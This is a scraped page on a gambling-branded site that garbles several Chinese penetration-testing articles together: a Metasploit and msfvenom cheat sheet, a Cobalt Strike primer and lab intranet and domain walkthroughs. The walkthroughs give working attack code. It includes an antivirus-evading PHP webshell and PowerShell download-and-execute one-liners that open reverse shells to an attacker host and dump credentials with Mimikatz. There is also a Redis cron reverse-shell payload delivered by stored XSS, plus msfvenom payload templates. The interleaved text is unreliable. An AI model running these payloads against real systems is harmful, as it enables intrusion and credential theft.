快捷搜索:

互联网知识

当前位置:betway必威官网手机版 > 互联网知识 > betway必威官网手机版:登时上手,Metasploit域渗透

betway必威官网手机版:登时上手,Metasploit域渗透

来源:http://www.abirdfarm.com 作者:betway必威官网手机版 时间:2019-07-19 05:51

原标题:cobalt strike 快速上手 [ 一 ]

转自:https://thief.one/2017/08/01/1/?hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.io

拓扑设计

betway必威官网手机版 1

 

本文作者:i春秋签约作家——shuteer

前言

betway必威官网手机版:登时上手,Metasploit域渗透测量检验全程实录。0x01 关于 Cobalt Strike

今天玩了一把内网渗透,其中主要用到了 metasploit 这款内网渗透神器。metasploit大家肯定不陌生,我也在很早之前就有接触过,但每次重新使用它时都会遗忘一些用法,因此为了方便查询我在本篇记录下metasploit神器的一些常用命令,以及内网渗透中如何使用它。
Mac下安装metasploit
mac下安装metasploit比较简单,官网下载pkg安装包,直接安装即可;需要注意的是安装完成后的路径。msfconsole路径:
1

betway必威官网手机版 2

拓扑介绍

其中192.168.1.0/24模拟的是公网的环境

172.21.132.0/24模拟的是企业内网的环境

边界web服务器双网卡(公网的:192.168.1.110,和内网的172.21.132.110),而且为了最基本的安全保障,web边界服务器设置了防火墙,此防火墙对外网只开放80,81,443端口,对内网开放所有端口,上面还装有杀毒软件。

内网还布置若干台web服务器,一台旁路告警设备(ips),他们都可以连接到外网,但是外网访问不到内部的任何web服务器

其中web服务器(linux)(172.21.132.113)前面放置防火墙,不可以被内网的其他web服务器访问到,但是它可以访问到内网的其他服务器,并且能够连接到外网。这套环境里面的192.168.1.108是黑客的kali攻击机,192.168.1.212是黑客的windows攻击机

科普下nishang和PowerSploit

1、Nishang是基于PowerShell的渗透测试专用工具。集成了框架、脚本和各种payload。这些脚本是由Nishang的作者在真实渗透测试过程中有感而发编写的,具有实战价值。包括了下载和执行、键盘记录、dns、延时命令等脚本

2、PowerSploit是又一款Post Exploitation 相关工具,Post Exploitation是老外渗透测试标准里面的东西,就是获取shell之后干的一些事情。PowerSploit 其实就是一些powershell 脚本,包括Inject-Dll(注入dll 到指定进程 )、Inject-Shellcode(注入shellcode到执行进程)、 Encrypt- Script(文本或脚本加密)、Get-GPPPassword(通过groups.xml 获取明文密码)、 Invoke- ReverseDnsLookup(扫描DNS PTR记录)

内网渗透测试资料基本上都是很多大牛的文章告诉我们思路如何,但是对于我等小菜一直是云里雾里。于是使用什么样的工具才内网才能畅通无阻,成了大家一直以来的渴求。今天小菜我本着所有师傅们无私分享的精神,特将三年内求师傅,求妹子,求神器所得,经过整理后,关键的知识点写出来。相关知识点总结如下:

一款非常优秀的后渗透平台 [ 谁用谁知道,嘿嘿……说不好用的唯一原因,可能就是很多用法还没有被自己挖掘出来,因为不会用,所以,才会感觉不好用 ]

/opt/metasploit-framework/bin

一、About

渗透开始

 

首先边界web服务器上fastcgi配置错误,导致服务器被getshell 因为网上的菜刀好多都有后门,所以我用开源的CKnife(介绍地址:跨平台版中国菜刀Cknife发布项目地址: Cknife的github) 因为服务器上有杀毒软件所以要把一句话木马做一下转换绕过思路参考:打狗棒法之进阶篇:Cknife修改配置法秒过安全狗

 

我用的服务器端木马内容

<?php    

eval('$ms509 ='.$_POST['Cknife']);

eval($ms509);

?>

 

替换Config.ini的PHP_MAKE为

 

base64_decode($_POST['action']);

 

betway必威官网手机版 3

连接方式

betway必威官网手机版 4

拿到webshell之后,首先用systeminfo来查看系统信息

 

betway必威官网手机版 5

首先可以看到这个是一台win2008 r2 64位系统,而且没有打任何系统补丁所以我可以从上面反弹一个powershell出来进行进一步的渗透首先把nishang git clone到自己的web目录下面,然后在shell目录下找到Invoke-PowerShellTcp.ps1,我为了方便把Invoke-PowerShellTcp.ps1复制到了web的根目录,我先在自己的机子上用nc监听8888端口,然后执行

powershell IEX(New-ObjectNet.WebClient).DownloadString(‘http://192.168.108/Invoke-PowerShellTcp.ps1‘);Invoke-PowerShellTcp-Reverse -IPAddress 192.168.1.108 -port 8888

在nc上得到一个反弹出来的powershellbetway必威官网手机版 6

查看权限发现权限比较低只是:iis apppool所以我需要提高一下权限一般的做法是要上传一个内核溢出的exp,一般都是上传一个exe,但是我在这里选择直接从远处加载一个exe到受害主机内存中,并且让他执行起来,详细的我会在《有趣的渗透(番外篇)》中详细的说明,我先把下载到我的web目录下面,再把用到的提权exp(ms1564.exe)放到web根目录下面然后在反弹的shell里面运行

IEX(New-ObjectNet.WebClient).DownloadString('http://192.168.108/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection-PEUrl
 http://192.168.1.108/ms1564.exe -ExeArgs "cmd" -ForceASLR

这样再执行whoami看权限的话就可以看到是 nt authority。

betway必威官网手机版 7

 

(Ps:这里面有个坑,这个ms15051的exp是随便从一个网上下载下来的,没有经过改造,所以当执行的指令参数有空格的时候,他就没有任何反应,也没有任何回显,后来经过我不断的尝试,执行cmd的时候就可以把shell的权限提了,很不错,但是如果你执行powershell这个指令的话,那么这个反弹的shell就会假死)这个时候在本机搜集一下信息:首先用mimikatz来脱出登陆过得密码:

IEX (New-ObjectNet.WebClient).DownloadString('http://192.168.1.108/Invoke-Mimikatz.ps1');Invoke-Mimikatz

betway必威官网手机版 8

查看arp的列表

betway必威官网手机版 9

 

 

看到好多机子集中在172.21.132.100-120这个网段我调用poershell扫一下

 

端口扫描的脚本从这里下载:https://github.com/samratashok/nishang/blob/master/Scan/Invoke-PortScan.ps1

 

扫描:

IEX (New-ObjectNet.WebClient).DownloadString('http://192.168.1.108/Invoke-PortScan.ps1');Invoke-PortScan-StartAddress 172.21.132.0 -EndAddress 172.21.132.254 -ResolveHost -ScanPort

betway必威官网手机版 10

这个时候我用利用powershell反弹一个meterpreter 利用powersploit框架,由于一些奇怪的原因,作者把框架中支持msf的部分去掉了,但是经过的我的查找,在作者提交的历史记录里面找到了最后一版支持msf的部分:地址是:

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/12ce71b9f4b0428d9425e001e5988f91eb2b8b87/CodeExecution/Invoke–Shellcode.ps1

如果git clone新版本的PowerSploit你要用老版本的CodeExecution/Invoke–Shellcode.ps1替换掉新版本的文件使用方法还是先把脚本下载到黑客自己的web目录下,我为了方便,我写了一个调用脚本放在web目录下(1.ps1)

IEX(New-ObjectNet.WebClient).DownloadString('http://192.168.1.108/CodeExecution/Invoke-Shellcode.ps1')
Invoke-Shellcode -payloadwindows/meterpreter/reverse_https -lhost 192.168.1.108 -lport 4444 -force

先把msf打开,然后设置payload为windows/meterpreter/reverse_https,并且监听在4444端口:

msf > useexploit/multi/handler
msf exploit(handler) > set payloadwindows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf exploit(handler) > run

然后在powershell反弹的shell中调用

IEX (New-ObjectNet.WebClient).DownloadString(‘‘)

成功拿到meterpreter,但是注意:这个meterpreter执行shell是不能得到交互式的cmd ,因为刚才用exp把反弹的powershell变成了system的权限,所以再反弹出来的meterpreter也是system权限

这个时候可以 meterpreter查看路由: runget_local_subnets

meterpreter 寻找putty保存的信息 run enum_putty

meterpreter 寻找ie保存的密码 run post/windows/gather/enum_ie

本地信息搜集差不多了,可以把meterpreter放入后台: background

然后添加路由(这样才能进行内网的扫描): route add 172.21.132.0 255.255.255.0 1 route add的第一个参数是地址,第二个参数地址是掩码,第三个参数是sessis的id

进行内网的主机扫描:利用smb进行主机识别: use auxiliary/scanner/smb/smb_version

betway必威官网手机版 11

利用刚才找到的管理员密码在内网里面碰撞一下,看看多少主机用的是同样的密码 用的是:use auxiliary/scanner/smb/smb_login

betway必威官网手机版 12

 

可以看到内网里面的大部分机子都是用的一个密码

 

下面我要用socks代理进入到内网里面获取一些信息

 

有三种选择:首先msf提供了一种socks4a的代理,浏览器可以用这个代理进入到内网,但是burp不能用socks4a的代理第二:可以用reGeorgSocksProxy.py的socks5进入到内网里面第三:可以用特殊处理过得xsocks.exe,通过powershell远程加载到内存里面运行之后得到socks5的代理

 

因为这是60字节webshell的杂技,所以我用第三种方法进入到内网:

 

首先在黑客的web里面放入特殊处理的xsocks.exe,然后用poweshell加载

IEX (New-ObjectNet.WebClient).DownloadString('http://192.168.1.108/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection-PEUrl http://192.168.1.108/xsocks.exe -ExeArgs "-l 443" -ForceASLR

然后burp这样设置:

betway必威官网手机版 13

 

火狐中这样设置

 

betway必威官网手机版 14

就可以实现这样的效果了

betway必威官网手机版 15

看一下效果:

betway必威官网手机版 16

把流量拦截下来repeater也可以

betway必威官网手机版 17

* 普及一下redis未授权的知识 详细的文章可以看redis未授权访问总结 而redis的csrf漏洞的产生原因是:就是当向redis发送无效指令时,redis自身协议不会终止tcp链接。同时redis只会执行body里的有效指令,而不会关心http header里的内容。

* 科普一下csrf的攻击:CSRF:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF,简单来说攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账……造成的问题包括:个人隐私泄露以及财产安全。常见的经典csrf的案例是通过csrf修改你家路由器的dns配置,从而达到非法获利的目的,可以参考文章TP-link TL-WR840N系列路由器存在CSRF漏洞,可修改任意配置(含POC测试过程)

 

经过内网探测,发现172.21.132.113开放6379端口,但是通过代理无法连接到后来发现在172.21.132.117:83/xss/add.php发现一个留言板

betway必威官网手机版 18

 

 

所以根据这个文章:Client-SideRedis Attack Proof of Concept我做了一个可以利用redis未授权访问得到反弹shell的js:

      var cmd = new XMLHttpRequest();
     cmd.open("POST", "http://127.0.0.1:6379");
     cmd.send('flushallrn');
     
      var cmd =new XMLHttpRequest();
     cmd.open("POST", "http://127.0.0.1:6379");
     cmd.send('eval ''   'redis.call("set","1","\n\n*/1 * * * * /bin/bash -i >&/dev/tcp/192.168.1.108/5566 0>&1\n\n");redis.call("config", "set", "dir","/var/spool/cron/"); redis.call("config","set", "dbfilename", "root");'   '' 0'  "rn");

      var cmd =new XMLHttpRequest();
     cmd.open("POST", "http://127.0.0.1:6379");
      cmd.send('savern');

 

把他放在自己的web目录下,然后在留言板写入:

 

<script src=http://192.168.1.108/redis.js></script>

在本机监听用nc监听5566端口,只要有装redis 的那台机子的管理员查看留言板的话就会弹出一个shell给我的主机

betway必威官网手机版 19

可以看到这个已经反弹的处理的shell是root权限

 

至此,整个内网已经被完全渗透

 

  • 免杀payload的生成,请使用Veil
  • msf在meterpreter下的提权尝试
  • msf在meterpreter下的bypassuac尝试
  • 内网渗透测试过程中的信息关联
  • meterpreter的路由添加以及相关扫描
  • Powershell在meterpreter下面的使用
  • Meterpreter的post模块使用
  • Msf的custom自己生成的payload的使用
  • 进程注入窃取令牌

工具基于java,大部分功能在改进的基础上还是相对比较实用的,非常适合团队间协同作战

该目录下还有其他几个常用的工具:

内网机器如下:

最后的tips

 

我在上面介绍用:poweshell加载外部的exe进入内存执行,从而不在受害主机里面留下任何痕迹,而且也可以绕过国内主流杀软的查杀这个想法的实现根据这个文章:PowerPwning:Post-Exploiting ByOverpowering PowerShell还有 Powershelltricks::Code Execution & Process Injection

要是实现这个前提条件是:

1.你要有源码

2.源码必须是c 编写,c#编写的一律崩溃

3.编译的时候建议用vs2010 winxp编译

4.在win上不能用gcc去编译

5.编译采用/MT 或者/MTd

betway必威官网手机版 20

 

6.如果要传递参数的话把int main(int argc char **argv)改成

int main()
{
    LPWSTR*szArglist;
    int nArgs;
    int i;
    szArglist =CommandLineToArgvW(GetCommandLineW(), &nArgs);
    if( NULL ==szArglist )
    {
       wprintf(L"CommandLineToArgvW failedn");
        return0;
    }
   
}
……………………

 

7.代码中不能有写文件的操作

下面是集中渗透软件编译过程

我以提权工具ms15-051的代码做实验(代码的源码),添加传递参数的代码后 里面有几个字符转换的问题,可以自己解决一下,本人 生成好了以后看看效果 首先把生成好的ms15-051.exe上传到自己的web服务器。

先下载到本地看看什么效果

betway必威官网手机版 21

然后用编译好的ms15-051.exe用powershell加载一下

betway必威官网手机版 22

其实重点不在于知识的多少,大家只需关注比较重点的连接点。分享为了方便大家以后一起交流,一起学习,一起进步。首先shell是别人给我的,也不是这里介绍的重点,所以在此忽略。

更多详情请自行参考官网,这里就不啰嗦了,以下全部简称'cs'

betway必威官网手机版 23

betway必威官网手机版 24

渗透测试的环境详细如下:

0x02 基础环境简介:

说明:

A 堡垒机(webshell所在机器):windows server 2012

kali 实际控制端 ip:192.168.1.144

msf的插件路径:
1

1)Attacker为攻击者,有一个网卡,网段为172.16.0.0,Attacker系统为kali系统

B 堡垒机:windows 2008(powershell扫描机器)

ubuntu 16.04 自己公网的vps ip:53.3.3.6

/opt/metasploit-framework/embedded/framework/modules/exploits

2)RD为第一个已经渗透的目标,有两块网卡,对应172.16.0.0和7.7.7.0两个网段

C 堡垒机:有域管理进程的机器windows server 2012

win2008R2 目标机器 ip:192.168.1.191

msfvenom
作用:生成木马文件,替代早期版本的msfpayload和msfencoder。
Options
msfvenom命令行选项如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

3)JC有两块网卡,对应7.7.7.0和8.8.8.0两个网段,JC有ms08-067和efs bof两个漏洞,可getshell

D 堡垒机若干

centos6.9 已控肉鸡 ip:192.168.1.199

-p, --payload <payload> 指定需要使用的payload(攻击荷载)
-l, --list [module_type] 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all
-n, --nopsled <length> 为payload预先指定一个NOP滑动长度
-f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch <architecture> 指定payload的目标架构
--platform <platform> 指定payload的目标平台
-s, --space <length> 设定有效攻击荷载的最大长度
-b, --bad-chars <list> 设定规避字符集,比如: 'x00xff'
-i, --iterations <count> 指定payload的编码次数
-c, --add-code <path> 指定一个附加的win32 shellcode文件
-x, --template <path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
betway必威官网手机版:登时上手,Metasploit域渗透测量检验全程实录。-o, --out <path> 保存payload
-v, --var-name <name> 指定一个自定义的变量,以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表

4)SK有一块网卡,对应8.8.8.0网段,SK有vsftpd的漏洞,可getshell

第八步 Poershell获取域控管理员在线的机器

win7cn 另一台肉鸡 ip:192.168.1.123

options usage
查看支持的payload列表:
1

5)起初Attacker只拿到RD的msf的shell,对于目标内网情况一无所知,也不知道存在7.7.7.0和8.8.8.0这两个隐藏的网段

内网渗透测试不得不说到两大神器:msf和powershell,但是看大家基本上都是分开来使用的,或者说大家在一次渗透测试的过程中很少遇到,今天作为读者的你有福了。

0x03 先来快速预览cs最基本的一些模块具体用途:

msfvenom -l payloads

6)目标是准备通过RD来渗透内网中7.7.7.0和8.8.8.0两个隐藏的网段

首先来讲讲powershell的在内网渗透测试中不仅能扫,能爆,能转发,当然还能做更多的事情,一般使用到的模块有下面三个:

团队服务器[teamserver]

查看支持的输出文件类型:
1

二、Step1

1 Empire据说是神器,也确实是神器,我没使用过,暂时不多说

主要是为了方便一个渗透团队内部能够及时共享所有成员的所有渗透信息,加强成员间的交流协作,以此提高渗透效率

msfvenom --help-formats

Attacker在RD上通过webshell运行了一个reverse类型的后门,然后操作如下:

2 PowerUp 据说提权神器,也确实是神器,我很少使用。也暂时不多说

也就是说,正常情况下一个团队只需要起一个团队服务器即可,团队中的所有成员只需要拿着自己的cs客户端登录到团体服务器就能轻松实现协同作战

查看支持的编码方式:(为了达到免杀的效果)
1

msf > use exploit/multi/handler  msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 172.16.0.20  LHOST => 172.16.0.20msf exploit(handler) > set LPORT 1234 LPORT => 1234msf exploit(handler) > run [*] Started reverse TCP handler on 172.16.0.20:1234  [*] Starting the payload handler... [*] Sending stage (957487 bytes) to 172.16.0.11 [*] Meterpreter session 2 opened (172.16.0.20:1234 -> 172.16.0.11:49162)meterpreter > ifconfig Interface  1============ Name         : Software Loopback Interface 1Hardware MAC : 00:00:00:00:00:00MTU          : 4294967295IPv4 Address : 127.0.0.1IPv4 Netmask : 255.0.0.0IPv6 Address : ::1IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff Interface 11============ Name         : Intel(R) PRO/1000 MT Desktop Adapter Hardware MAC : 08:00:27:e1:3f:af MTU          : 1500IPv4 Address : 172.16.0.11IPv4 Netmask : 255.255.255.0Interface 19============ Name         : Intel(R) PRO/1000 MT Desktop Adapter #2Hardware MAC : 08:00:27:7f:3c:fe MTU          : 1500IPv4 Address : 7.7.7.11IPv4 Netmask : 255.255.255.0 

3 PowerView 据说是域渗透神器,也确实是神器,我一直用,非常漂亮

当然,实际中可能为了尽可能久的维持住目标机器权限,还会习惯性的多开几个团队服务器,防止出现意外情况

msfvenom -l encoders

三、Step2

来说说powershell的使用,其实也很简单,只是大家在用的过程中一般没有太多的注意,主要有三种方式来调用:

另外,团体服务器最好运行在linux平台上[本次演示所用的团队服务器系统为ubuntu 16.04]

查看支持的空字段模块:(为了达到免杀的效果)
1

发现RD有两块网卡后,想办法渗透另一个网段7.7.7.0,首先要添加路由[不添加路由也可以直接用meterpreter shell中的模块访问 到7.7.7.x网段,添加路由的目的是为了使得msf模块可以访问到7.7.7.x网段],meterpreter shell可以访问到7.7.7.x网段,msf 中的模块不能访问到7.7.7.x网段,msf中的模块所处的ip是攻击者的ip,meterpreter shell所处的ip是RD的ip.在meterpreter中 添加路由的目的是为了给msf模块作代理,也即给Attacker作代理,但是只能给Attacker的msf模块作代理,要想给Attacker的其他 应用程序作代理,则需要在meterpreter添加路由后再运行msf的开启sock4的模块,然后再用proxychains来设置Attacker的其他 应用程序的代理为msf的开启sock4代理模块中设置的代理入口。

1 当然是下载到本地执行,详细使用方法如后面连接:powershell “IEX (New-Object
Net.WebClient).DownloadString(‘http://is.gd/oeoFuI‘); Invoke-Mimikatz
-DumpCreds”

# ./teamserver 团队服务器ip 设置一个团队服务器密码[别人要用这个密码才能连进来] 配置文件[一般默认即可] [YYYY-MM-DD]

msfvenom -l nops

操作如下:

2 第二种方式是把powershell文件上传到堡垒机本地执行, powershell.exe -exec
bypass -Command “& {Import-Module .powerview.ps1;
Invoke-UserHunter}”

# ./teamserver 53.3.3.6 klion

基础payload
命令格式
1

meterpreter > run autoroute -s 7.7.7.0/24[*] Adding a route to 7.7.7.0/255.255.255.0... [ ] Added route to 7.7.7.0/255.255.255.0 via 172.16.0.11[*] Use the -p option to list all active routes meterpreter > run autoroute -p Active Routing Table ====================  Subnet Netmask Gateway  ------ ------- ------- 7.7.7.0 255.255.255.0 Session 2meterpreter > 

3 上传到对方本地,然后Import-Module导入,使用。

betway必威官网手机版 25

msfvenom -p <payload> <payload options> -f <format> -o <path>

然后开始扫描7.7.7.0网段,操作如下:

PowerView的所有模块使用其实很简单,直接调用方法,大家看看下面的图就知道了。如果你能看到这里开始你的powershell之旅,内网将开始变得简单。

客户端[cobaltstrike]

Linux
1
2
3
4

meterpreter > run post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24[*] Running module against DISCORDIA [*] ARP Scanning 7.7.7.0/24[*]     IP: 7.7.7.11 MAC 08:00:27:7f:3c:fe (CADMUS COMPUTER SYSTEMS) [*]     IP  7.7.7.12 MAC 08:00:27:3a:b2:c1 (CADMUS CIMPUTER SYSTEMS) [*]     IP: 7.7.7.20 MAC 08:00:27:fa:a0:c5 (CADMUS COMPUTER SYSTEMS) [*]     IP: 7.7.7.255 MAC 08:00:27:3f:2a:b5 (CADMUS COMPUTER SYSTEMS) meterpreter > 

betway必威官网手机版 26

为了更好的说明效果,此处就分别模拟两个不同的客户端同时登陆到同一台团队服务器中,首先,先在本机运行客户端尝试登陆到团队器,客户端启动以后会提示你输入团队服务器的ip,端口和密码,用户名可随意

反向连接:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
正向连接:
msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=<Target IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

arp_scanner不太够用,不能扫到端口信息[此时也可用msf自带的其他可以扫描端口的模块如auxiliary/scanner/portscan/tcp来扫 描,因为前面添加了路由,使得msf中的模块可以用meterpreter作为代理访问到7.7.7.x网段],于是用Attacker本机的nmap来扫[可以 更完全的扫描,nmap应该比msf中的扫描模块强大],首先在RD上开sockets4代理,然后用proxychains设置nmap的代理为msf模块开 启的Attacker的1080端口提供的代理,操作如下:

废话讲了这么多,下面开始我们的实战,其实很简单,我真的想说很简单,简单到一句话搞定。Powerview中的Invoke-UserHunter是获取当前域管理员在线登录的机器。这次的旅程我们就用它来完成进一步的信息获取。详细如下图:

# ./cobaltstrike

Windows
1

meterpreter > background  [*] Backgrounding session 2... msf > use auxiliary/server/socks4a  msf auxiliary(socks4a) > show options  Module options (auxiliary/server/socks4a):    Name     Current Setting  Required  Description    ----     ---------------  --------  -----------    SRVHOST  0.0.0.0          yes       The address to listen on    SRVPORT  1080             yes       The port to listen on. Auxiliary action:    Name   Description    ----   -----------    Proxy   msf auxiliary(socks4a) > set srvhost 172.16.0.20 srvhost => 172.16.0.20msf auxiliary(socks4a) > run [*] Auxiliary module execution completed [*] Starting the socks4a proxy server msf auxiliary(socks4a) > netstat -antp | grep 1080 [*] exec: netstat -antp | grep 1080 tcp        0      172.16.0.20:1080            0.0.0.0:*               LISTEN      3626/ruby        msf auxiliary(socks4a) > 

betway必威官网手机版 27

betway必威官网手机版 28

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

proxychains设置/etc/proxychains.conf如下:

betway必威官网手机版 29

接着,再到另一台kali机器上打开客户端登陆登录到同一团队服务器,最终实现的效果如下,团队成员可以通过event相互沟通,也可通过event清晰看到团队中的其它成员在什么时间都干了些什么,非常详细直观:

Mac
1
2

[ProxyList]# add proxy here ...# meanwile# defaults set to "tor"#socks4  127.0.0.1 9050socks4  172.16.0.20 1080 

第九步 域控管理员权限的获取(windows2012权限)

# ./cobaltstrike

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
Web Payloads

nmap扫描如下:

在经过第八步之后,身为读者的你是不是感觉这次收获有一点点,内网域渗透测试再也不是那么一筹莫展了呢。神器过后还是神器,又见它windows server 2012,虽然域管理在线,但是我们的抓密码神器阳痿了,总不能修改注册表,等管理员再次登录吧。

betway必威官网手机版 30

PHP
1
2

root@kali:~# proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 --script=smb-vuln-ms08-067.nse 7.7.7.20ProxyChains-3.1 (http://proxychains.sf.net)Starting Nmap 7.25BETA1 ( https://nmap.org )|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:80-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK Nmap scan report for 7.7.7.20Host is up (0.17s latency). PORT     STATE    SERVICE      VERSION 22/tcp   open     ssh          Bitvise WinSSHD 7.16 (FlowSsh 7.15; protocol 2.0)80/tcp   closed   http         Easy File Sharing Web Server httpd 6.9 135/tcp  open     msrpc        Microsoft Windows RPC 139/tcp  open     netbios-ssn  Microsoft Windows netbios-ssn 445/tcp  open     microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003 Host script results: | smb-vuln-ms08-067:  |   VULNERABLE: |   Microsoft Windows system vulnerable to remote code execution (MS08-067)|     State: VULNERABLE |     IDs: CVE:CVE-2008-4250 |          The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,  |          Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary  |          code via a crafted RPC request that triggers the overflow during path canonicalization. |  |     Disclosure date: 2008-10-23 |     References: |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspxService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 12.51 seconds root@kali:~# 

目前来看看我们遇到的问题,通过powershell成功获取到相关的域控管理员在线的一台机器windows server 2012,并且用这台机器的权限,那么接下来我们去搞定域控。思路如下:

betway必威官网手机版 31

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d 'n' > shell.php && pbpaste >> shell.php

现在发现了7.7.7.20(JC)这台机器端口开放比较多,尝试找出JC的漏洞,操作如下: 首先看看JC的80端口运行了什么cms,但是Attacker的浏览器直接访问 不在同一网段,此处有个要注意的内容:

1 修改注册表等待域控管理员再次登录来抓取(黄花菜都会凉的)

使用cs的各种监听器

ASP
1

Attention:可以选择使用proxychains设置Attacker的浏览器的代理为Attacker的1080端口的socks4代理入口,也可通过在RD的meterpreter会 话中运行portfwd模块命令,portfwd命令如下:

2 通过PowerUp的进程来注入获取域权限(没使用过暂时放弃),当然此处也可以写类似外挂的功能注入进程获取权限

其实,监听器的作用很简单,主要是为了接受payload回传的各类数据,

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

meterpreter > portfwd add -L 172.16.0.20 -l 2323 -p 80 -r 7.7.7.20[*] Local TCP relay created: 172.16.0.20:2323 <-> 7.7.7.20:80meterpreter > meterpreter > portfwd listActive Port Forwards ====================    Index  Local             Remote       Direction    -----  -----             ------       ---------   1      172.16.0.20:2323  7.7.7.20:80  Forward1 total active port forwards. meterpreter > 

3 msf的令牌窃取功能(这个可以很容易实现)

比如,我们的payload在目标机器执行以后,会回连到监听器然后下载执行真正的shellcode代码,其实跟msf中handler的作用基本是一致的

JSP
1

通过访问Attacker的2323端口访问JC的80端口,结果如下:

知道思路,那么接下来就开始我们愉快的旅程吧。我要求师傅,求妹子,求神器,专业求到域控去:

在cs中的监听器有两种,一种是beacon,另一种是foreign

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

betway必威官网手机版 32

1 同样使用ipc经典入侵手法,反弹meterpreter,

foreign 主要是提供给外部使用的一些监听器,比如你想利用cs派生一个meterpreter的shell回来,来继续后面的内网渗透,这时就选择使用外部监听器

WAR
1
2

这里的portfwd模块不只是名字上的端口转发的意思,目前笔者认为portfwd相当于半个ssh正向代理加一个ssh反向代理组成的综合命令,ssh正向反向代理可参考这里的理解 。ssh正向反向代理理解笔者认为portfwd命令之后Attacker可以通过访问Attacker本身ip的2323端口进而访问到JC的80端口期间发生了3件事。

Getsysttem 权限

再来简单演示下,如何快速创建一个监听器,具体过程如下

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.wa
Scripting Payloads

1.RD访问JC的80端口,这里相当于半个ssh正向代理

Ps 查看域管理所在的进程

点击左上角的Cobalt Strike菜单

Python
1

2.RD绑定已经访问到的JC的80端口的数据到Attacker的2323端口,这里相当于一个ssh反向代理,相当于RD有Attacker的ssh权限

Migrate pid注入进程

-> 选中Listeners

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

3.攻击者的浏览器访问攻击者自己的172.16.0.20:2323

2 继续经典的IPC$到域控

-> 接着点击Add按钮会自动跳出监听器的配置框

Bash
1

portfwd的用法如下:

Meterpreter下面shell

-> 设置好端口ip [ 实际中最好用域名(走dns隧道) ]和payload类型即可创建,之后,团队服务器会一直监听该端口等待beacon shell回连的数据

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

meterpreter > portfwd -h Usage: portfwd [-h] [add | delete | list | flush] [args] OPTIONS:      -L >opt>  The local host to listen on (optional).      -h        Help banner.      -l >opt>  The local port to listen on.      -p >opt>  The remote port to connect on.      -r >opt>  The remote host to connect on. meterpreter > 

Net use \域控ipc$

betway必威官网手机版 33

Perl
1

